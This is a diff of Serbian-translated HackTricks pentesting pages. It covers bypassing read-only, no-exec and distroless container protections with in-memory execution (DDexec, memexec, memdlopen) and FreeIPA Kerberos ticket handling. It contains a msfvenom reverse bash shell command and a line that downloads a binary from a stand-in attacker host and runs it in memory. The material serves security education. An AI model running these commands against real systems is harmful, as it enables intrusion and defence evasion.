msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
``` ```
@ -196,29 +201,30 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove! Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
**Hakerski uvidi**\ **Uvidi u Hacking**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
**Vesti o hakovanju u realnom vremenu**\ **Vesti o Hacking-u u Realnom Vremenu**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
**Najnovije najave**\ **Najnovija Obaveštenja**\
Budite informisani o najnovijim lansiranjima nagrada za pronalaženje bagova i bitnim ažuriranjima platformi Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas! **Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hacking trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# Bypassovanje zaštite fajl sistema: samo za čitanje / bez izvršavanja / Distroless # Bypass FS protections: read-only / no-exec / Distroless
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **mi zapošljavamo!** (_potrebno je tečno poznavanje pisanog i govornog poljskog jezika_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## Video snimci ## Videos
U sledećim video snimcima možete pronaći tehnike pomenute na ovoj stranici objašnjene detaljnije: In the following videos you can find the techniques mentioned in this page explained more in depth:
* [**DEF CON 31 - Istraživanje manipulacije memorijom Linux-a radi prikrivanja i izbegavanja**](https://www.youtube.com/watch?v=poHirez8jk4) * [**DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**Prikriveni upadi sa DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU) * [**Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## Scenario samo za čitanje / bez izvršavanja ## read-only / no-exec scenario
Sve je češće naići na Linux mašine montirane sa **zaštitom fajl sistema samo za čitanje (ro)**, posebno u kontejnerima. To je zato što je pokretanje kontejnera sa fajl sistemom samo za čitanje jednostavno postavljanjem **`readOnlyRootFilesystem: true`** u `securitycontext`: Sve je češće pronaći linux mašine montirane sa **read-only (ro) zaštitom datotečnog sistema**, posebno u kontejnerima. To je zato što je pokretanje kontejnera sa ro datotečnim sistemom jednako lako kao postavljanje **`readOnlyRootFilesystem: true`** u `securitycontext`:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1 <pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod kind: Pod
@ -44,103 +45,110 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"] </strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre> </code></pre>
Međutim, čak i ako je fajl sistem montiran kao samo za čitanje, **`/dev/shm`** će i dalje biti upisiv, tako da nije tačno da ne možemo ništa zapisati na disk. Međutim, ovaj folder će biti **montiran sa zaštitom bez izvršavanja**, pa ako ovde preuzmete binarni fajl, **nećete moći da ga izvršite**. Međutim, čak i ako je datotečni sistem montiran kao ro, **`/dev/shm`** će i dalje biti zapisiv, tako da je lažno da ne možemo ništa napisati na disk. Međutim, ova fascikla će biti **montirana sa no-exec zaštitom**, tako da ako preuzmete binarni fajl ovde, **nećete moći da ga izvršite**.
{% hint style="warning" %} {% hint style="warning" %}
Sa perspektive crvenog tima, ovo otežava **preuzimanje i izvršavanje** binarnih fajlova koji nisu već prisutni u sistemu (kao što su backdoor-ovi ili enumeratori poput `kubectl`). Iz perspektive crvenog tima, ovo otežava **preuzimanje i izvršavanje** binarnih fajlova koji već nisu u sistemu (kao što su backdoor-i ili enumeratori poput `kubectl`).
{% endhint %} {% endhint %}
## Najlakši način zaobilaženja: Skripte ## Easiest bypass: Scripts
Imajte na umu da sam spomenuo binarne fajlove, možete **izvršiti bilo koju skriptu** sve dok je interpretator unutar mašine, poput **shell skripte** ako je `sh` prisutan ili **python skripte** ako je instaliran `python`. Napomena da sam pomenuo binarne fajlove, možete **izvršiti bilo koji skript** sve dok je interpreter unutar mašine, kao što je **shell skript** ako je `sh` prisutan ili **python** **skript** ako je `python` instaliran.
Međutim, ovo nije dovoljno samo za izvršavanje vašeg binarnog backdoor-a ili drugih binarnih alata koje možda treba pokrenuti. Međutim, ovo nije dovoljno samo da izvršite vaš binarni backdoor ili druge binarne alate koje možda trebate pokrenuti.
## Bypassovi memorije ## Memory Bypasses
Ako želite da izvršite binarni fajl, ali fajl sistem to ne dozvoljava, najbolji način za to je **izvršavanje iz memorije**, jer se **zaštite ne primenjuju tamo**. Ako želite da izvršite binarni fajl, ali datotečni sistem to ne dozvoljava, najbolji način da to uradite je **izvršavanje iz memorije**, jer se **zaštite ne primenjuju tamo**.
### Bypass FD + exec syscall ### FD + exec syscall bypass
Ako imate moćne skriptne motore unutar mašine, poput **Python-a**, **Perla** ili **Ruby-ja**, možete preuzeti binarni fajl za izvršavanje iz memorije, sačuvati ga u deskriptoru fajla u memoriji (`create_memfd` syscall), što neće biti zaštićeno tim zaštitama, a zatim pozvati **`exec` syscall** navodeći **fd kao fajl za izvršavanje**. Ako imate neke moćne skriptne engine unutar mašine, kao što su **Python**, **Perl**, ili **Ruby**, mogli biste preuzeti binarni fajl za izvršavanje iz memorije, sačuvati ga u deskriptoru datoteke u memoriji (`create_memfd` syscall), koji neće biti zaštićen tim zaštitama, a zatim pozvati **`exec` syscall** označavajući **fd kao datoteku za izvršavanje**.
Za ovo možete lako koristiti projekat [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Možete mu proslediti binarni fajl i on će generisati skriptu na naznačenom jeziku sa **binarnim fajlom kompresovanim i b64 enkodiranim** sa instrukcijama za **dekodiranje i dekompresovanje** u **fd** kreiran pozivom `create_memfd` syscall i poziv **exec** syscall-a za pokretanje. Za ovo možete lako koristiti projekat [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Možete mu proslediti binarni fajl i on će generisati skript u naznačenom jeziku sa **binarno kompresovanim i b64 kodiranim** instrukcijama za **dekodiranje i dekompresiju** u **fd** kreiranom pozivom `create_memfd` syscall i pozivom **exec** syscall za njegovo pokretanje.
{% hint style="warning" %} {% hint style="warning" %}
Ovo ne funkcioniše u drugim skriptnim jezicima poput PHP-a ili Node-a jer nemaju **podrazumevan način pozivanja sirovih syscalls** iz skripte, tako da nije moguće pozvati `create_memfd` da kreirate **memorijski fd** za čuvanje binarnog fajla. Ovo ne funkcioniše u drugim skriptnim jezicima poput PHP-a ili Node-a jer nemaju nikakav **podrazumevani način za pozivanje sirovih syscall-ova** iz skripte, tako da nije moguće pozvati `create_memfd` za kreiranje **memory fd** za skladištenje binarnog fajla.
Osim toga, kreiranje **regularnog fd** sa fajlom u `/dev/shm` neće raditi, jer vam neće biti dozvoljeno da ga pokrenete zbog primene **zaštite bez izvršavanja**. Štaviše, kreiranje **regular fd** sa datotekom u `/dev/shm` neće raditi, jer nećete moći da ga pokrenete zbog primene **no-exec zaštite**.
{% endhint %} {% endhint %}
### DDexec / EverythingExec ### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) je tehnika koja vam omogućava da **modifikujete memoriju vašeg sopstvenog procesa** tako što ćete prepisati njegov **`/proc/self/mem`**. [**DDexec / EverythingExec**](https://github.com/arget13/DDexec) je tehnika koja vam omogućava da **modifikujete memoriju vašeg procesa** prepisivanjem njegovog **`/proc/self/mem`**.
Stoga, **kontrolišući asemblerski kod** koji se izvršava od strane procesa, možete napisati **shellcode** i "mutirati" proces da **izvrši bilo koji proizvoljni kod**. Stoga, **kontrolišući asemblažni kod** koji se izvršava od strane procesa, možete napisati **shellcode** i "mutirati" proces da **izvrši bilo koji proizvoljni kod**.
{% hint style="success" %} {% hint style="success" %}
**DDexec / EverythingExec** će vam omogućiti da učitate i **izvršite** svoj **shellcode** ili **bilo koji binarni fajl** iz **memorije**. **DDexec / EverythingExec** će vam omogućiti da učitate i **izvršite** vaš vlastiti **shellcode** ili **bilo koji binarni fajl** iz **memorije**.
{% endhint %} {% endhint %}
```bash ```bash
# Basic example # Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
``` ```
Za više informacija o ovoj tehnici proverite Github ili:
{% content-ref url="ddexec.md" %}
[ddexec.md](ddexec.md)
{% endcontent-ref %}
### MemExec ### MemExec
[**Memexec**](https://github.com/arget13/memexec) je prirodni sledeći korak nakon DDexec-a. To je **DDexec shellcode demonizovan**, tako da svaki put kada želite **pokrenuti drugi binarni fajl** ne morate ponovo pokretati DDexec, već možete jednostavno pokrenuti memexec shellcode putem DDexec tehnike i zatim **komunicirati sa ovim demonom kako biste prosledili nove binarne fajlove za učitavanje i pokretanje**. [**Memexec**](https://github.com/arget13/memexec) je prirodan sledeći korak DDexec-a. To je **DDexec shellcode demonizovan**, tako da svaki put kada želite da **pokrenete drugi binarni fajl** ne morate ponovo pokretati DDexec, možete jednostavno pokrenuti memexec shellcode putem DDexec tehnike i zatim **komunicirati sa ovim demonima da prenesete nove binarne fajlove za učitavanje i izvršavanje**.
Možete pronaći primer kako koristiti **memexec za izvršavanje binarnih fajlova iz PHP reverse shell-a** na [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php). Možete pronaći primer kako koristiti **memexec za izvršavanje binarnih fajlova iz PHP reverz shell-a** na [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
### Memdlopen ### Memdlopen
Sa sličnim ciljem kao DDexec, tehnika [**memdlopen**](https://github.com/arget13/memdlopen) omogućava **jednostavniji način učitavanja binarnih fajlova** u memoriju kako bi ih kasnije izvršili. Može čak omogućiti učitavanje binarnih fajlova sa zavisnostima. Sa sličnom svrhom kao DDexec, tehnika [**memdlopen**](https://github.com/arget13/memdlopen) omogućava **lakši način učitavanja binarnih fajlova** u memoriju za kasnije izvršavanje. Može čak omogućiti i učitavanje binarnih fajlova sa zavisnostima.
## Bypass Distroless ## Distroless Bypass
### Šta je distroless ### Šta je distroless
Distroless kontejneri sadrže samo **apsolutno neophodne komponente za pokretanje određene aplikacije ili servisa**, poput biblioteka i zavisnosti za izvršavanje, ali isključuju veće komponente poput upravljača paketima, ljuske ili sistemskih alatki. Distroless kontejneri sadrže samo **najosnovnije komponente potrebne za pokretanje specifične aplikacije ili servisa**, kao što su biblioteke i zavisnosti u vreme izvršavanja, ali isključuju veće komponente poput menadžera paketa, shell-a ili sistemskih alata.
Cilj distroless kontejnera je **smanjenje površine napada kontejnera eliminisanjem nepotrebnih komponenti** i minimiziranje broja ranjivosti koje mogu biti iskorišćene. Cilj distroless kontejnera je da **smanji površinu napada kontejnera eliminisanjem nepotrebnih komponenti** i minimiziranjem broja ranjivosti koje se mogu iskoristiti.
### Reverse Shell ### Reverz Shell
U distroless kontejneru možda **nećete pronaći `sh` ili `bash`** da biste dobili običnu ljusku. Takođe nećete pronaći binarne fajlove poput `ls`, `whoami`, `id`... sve što obično pokrećete na sistemu. U distroless kontejneru možda **nećete ni pronaći `sh` ili `bash`** da dobijete regularni shell. Takođe nećete pronaći binarne fajlove kao što su `ls`, `whoami`, `id`... sve što obično pokrećete u sistemu.
{% hint style="warning" %} {% hint style="warning" %}
Stoga, **nećete** moći dobiti **reverse shell** ili **enumerisati** sistem kao što obično radite. Stoga, **nećete** moći da dobijete **reverz shell** ili **enumerišete** sistem kao što obično radite.
{% endhint %} {% endhint %}
Međutim, ako je kompromitovani kontejner na primer pokrenut kao flask veb, tada je instaliran python, i stoga možete dobiti **Python reverse shell**. Ako se pokreće node, možete dobiti Node rev shell, i isto važi za većinu **skriptnih jezika**. Međutim, ako kompromitovani kontejner pokreće, na primer, flask web, tada je python instaliran, i stoga možete dobiti **Python reverz shell**. Ako pokreće node, možete dobiti Node rev shell, i isto važi za većinu **scripting jezika**.
{% hint style="success" %} {% hint style="success" %}
Korišćenjem skriptnog jezika možete **enumerisati sistem** koristeći mogućnosti jezika. Korišćenjem scripting jezika mogli biste **enumerisati sistem** koristeći mogućnosti jezika.
{% endhint %} {% endhint %}
Ako ne postoje **zaštite `read-only/no-exec`** možete zloupotrebiti svoj reverse shell da **pišete u fajl sistem vaše binarne fajlove** i **izvršite** ih. Ako nema **`read-only/no-exec`** zaštita mogli biste iskoristiti svoj reverz shell da **pišete u fajl sistem vaše binarne fajlove** i **izvršite** ih.
{% hint style="success" %} {% hint style="success" %}
Međutim, u ovakvim kontejnerima ove zaštite obično postoje, ali možete koristiti **prethodne tehnike izvršavanja u memoriji da ih zaobiđete**. Međutim, u ovakvim kontejnerima ove zaštite obično postoje, ali mogli biste koristiti **prethodne tehnike izvršavanja u memoriji da ih zaobiđete**.
{% endhint %} {% endhint %}
Možete pronaći **primere** kako **iskoristiti neke RCE ranjivosti** da biste dobili **reverse shell-ove skriptnih jezika** i izvršili binarne fajlove iz memorije na [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE). Možete pronaći **primere** o tome kako da **iskoristite neke RCE ranjivosti** da dobijete **reverz shell-ove** scripting jezika i izvršite binarne fajlove iz memorije na [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje pisanog i govornog poljskog jezika_). Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,79 +1,80 @@
# FreeIPA Pentesting # FreeIPA Pentesting
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Osnovne informacije ## Basic Information
FreeIPA je open-source **alternativa** Microsoft Windows **Active Directory**-u, pretežno za **Unix** okruženja. Kombinuje kompletan **LDAP direktorijum** sa MIT **Kerberos** centrom za distribuciju ključeva za upravljanje slično Active Directory-u. Koristi Dogtag **Certificate System** za upravljanje CA & RA sertifikatima, podržava **multi-faktorsku** autentikaciju, uključujući pametne kartice. SSSD je integrisan za Unix autentikacione procese. FreeIPA je open-source **alternativa** za Microsoft Windows **Active Directory**, uglavnom za **Unix** okruženja. Kombinuje kompletnu **LDAP direktoriju** sa MIT **Kerberos** sistemom za distribuciju ključeva za upravljanje sličnim Active Directory. Koristi Dogtag **Sistem sertifikata** za upravljanje CA i RA sertifikatima, podržava **multi-factor** autentifikaciju, uključujući pametne kartice. SSSD je integrisan za Unix procese autentifikacije.
## Otisci ## Fingerprints
### Fajlovi i promenljive okruženja ### Files & Environment Variables
* Fajl na lokaciji `/etc/krb5.conf` je gde se čuvaju informacije o Kerberos klijentu, neophodne za upis u domen. To uključuje lokacije KDC-ova i admin servera, podrazumevane postavke i mapiranja. * Datoteka na `/etc/krb5.conf` je mesto gde se čuvaju informacije o Kerberos klijentu, neophodne za upis u domen. Ovo uključuje lokacije KDC-a i admin servera, podrazumevane postavke i mape.
* Podrazumevane postavke za IPA klijente i servere se postavljaju u fajlu na lokaciji `/etc/ipa/default.conf`. * Podrazumevane postavke za IPA klijente i servere su postavljene u datoteci koja se nalazi na `/etc/ipa/default.conf`.
* Hostovi unutar domena moraju imati fajl `krb5.keytab` na lokaciji `/etc/krb5.keytab` za autentikacione procese. * Hostovi unutar domena moraju imati `krb5.keytab` datoteku na `/etc/krb5.keytab` za procese autentifikacije.
* Različite promenljive okruženja (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) se koriste za pokazivanje specifičnih fajlova i postavki relevantnih za Kerberos autentikaciju. * Različite promenljive okruženja (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) se koriste za upućivanje na specifične datoteke i postavke relevantne za Kerberos autentifikaciju.
### Binarni fajlovi ### Binaries
Alati poput `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` i `kvno` su centralni za upravljanje FreeIPA domenima, rukovanje Kerberos tiketima, menjanje lozinki i dobijanje servisnih tiketa, među ostalim funkcionalnostima. Alati kao što su `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch`, i `kvno` su centralni za upravljanje FreeIPA domenima, rukovanje Kerberos tiketima, menjanje lozinki i dobijanje servisnih tiketa, među ostalim funkcionalnostima.
### Mreža ### Network
Dostupna je ilustracija koja prikazuje tipičan FreeIPA server setup. Ilustracija je pružena da prikaže tipičnu FreeIPA server konfiguraciju.
## Autentikacija ## Authentication
Autentikacija u FreeIPA, koristeći **Kerberos**, odražava onu u **Active Directory**-u. Pristup resursima domena zahteva validan Kerberos tiket, koji se može čuvati na različitim lokacijama u zavisnosti od konfiguracije FreeIPA domena. Autentifikacija u FreeIPA, koristeći **Kerberos**, odražava onu u **Active Directory**. Pristup resursima domena zahteva važeći Kerberos tiket, koji može biti smešten na različitim mestima u zavisnosti od konfiguracije FreeIPA domena.
### **CCACHE Tiket fajlovi** ### **CCACHE Ticket Files**
CCACHE fajlovi, obično smešteni u **`/tmp`** sa **600** dozvolama, su binarni formati za čuvanje Kerberos akreditiva, važni za autentikaciju bez korisnikove plaintext lozinke zbog njihove prenosivosti. Parsiranje CCACHE tiketa se može obaviti korišćenjem `klist` komande, a ponovna upotreba validnog CCACHE Tiketa uključuje izvoz `KRB5CCNAME` na putanju fajla tiketa. CCACHE datoteke, obično smeštene u **`/tmp`** sa **600** dozvolama, su binarni formati za čuvanje Kerberos kredencijala, važni za autentifikaciju bez korisničke lozinke u običnom tekstu zbog njihove prenosivosti. Parsiranje CCACHE tiketa može se izvršiti korišćenjem `klist` komande, a ponovna upotreba važećeg CCACHE tiketa uključuje izvoz `KRB5CCNAME` na putanju datoteke tiketa.
### **Unix Keyring** ### **Unix Keyring**
Alternativno, CCACHE Tiketi se mogu čuvati u Linux keyring-u, nudeći više kontrole nad upravljanjem tiketima. Obim čuvanja tiketa varira (`KEYRING:ime`, `KEYRING:proces:ime`, `KEYRING:nit:ime`, `KEYRING:sednica:ime`, `KEYRING:trajni:uidbroj`), pri čemu je `klist` sposoban da parsira ove informacije za korisnika. Međutim, ponovna upotreba CCACHE Tiketa iz Unix keyring-a može predstavljati izazove, sa alatima poput **Tickey** dostupnim za izvlačenje Kerberos tiketa. Alternativno, CCACHE tiketi mogu biti smešteni u Linux keyring, nudeći veću kontrolu nad upravljanjem tiketima. Opseg skladištenja tiketa varira (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`), pri čemu `klist` može parsirati ove informacije za korisnika. Međutim, ponovna upotreba CCACHE tiketa iz Unix keyring-a može predstavljati izazove, a alati poput **Tickey** su dostupni za ekstrakciju Kerberos tiketa.
### Keytab ### Keytab
